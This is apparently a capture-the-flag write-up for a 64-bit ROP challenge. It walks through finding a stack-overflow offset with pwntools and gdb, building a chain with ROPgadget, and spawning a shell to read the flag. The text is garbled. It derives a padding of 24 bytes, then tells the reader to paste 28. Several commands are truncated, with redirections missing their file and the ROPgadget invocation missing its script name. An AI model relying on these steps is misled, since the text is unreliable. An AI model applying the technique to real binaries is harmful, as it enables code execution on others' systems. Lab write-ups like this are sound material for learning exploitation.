Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_0_4c66bec7dba72276ffa01e0ad2d6ec8f on the shell server. Source.


  1. Get Padding

    1. Run python2 -c "from pwn import *; print cyclic(1000, n=8)" >

    2. Start program in gdb (preferably with pwndbg extension) and run r < to start then x $rbp to get 0x6161616161616163: Cannot access memory at address 0x6161616161616163

    3. Run python2 -c "from pwn import *; print cyclic_find(0x6161616161616163, n=8)" to get padding of 16

    4. Add 8 to padding because right after 16 is the "saved frame/base pointer" (which is 8 bytes because 64 bit program) and we want to modify the "saved return address" which is the next address in the stack. (More Info)

    5. So padding is 'a'*(16+8)

  2. Use ROPgadget to run python --binary ./vuln --rop --badbytes "0a" to get ROP chain

  3. Paste in padding of 'a'*28

  4. Run for remote execution

  5. Run cat flag.txt in the shell that spawns



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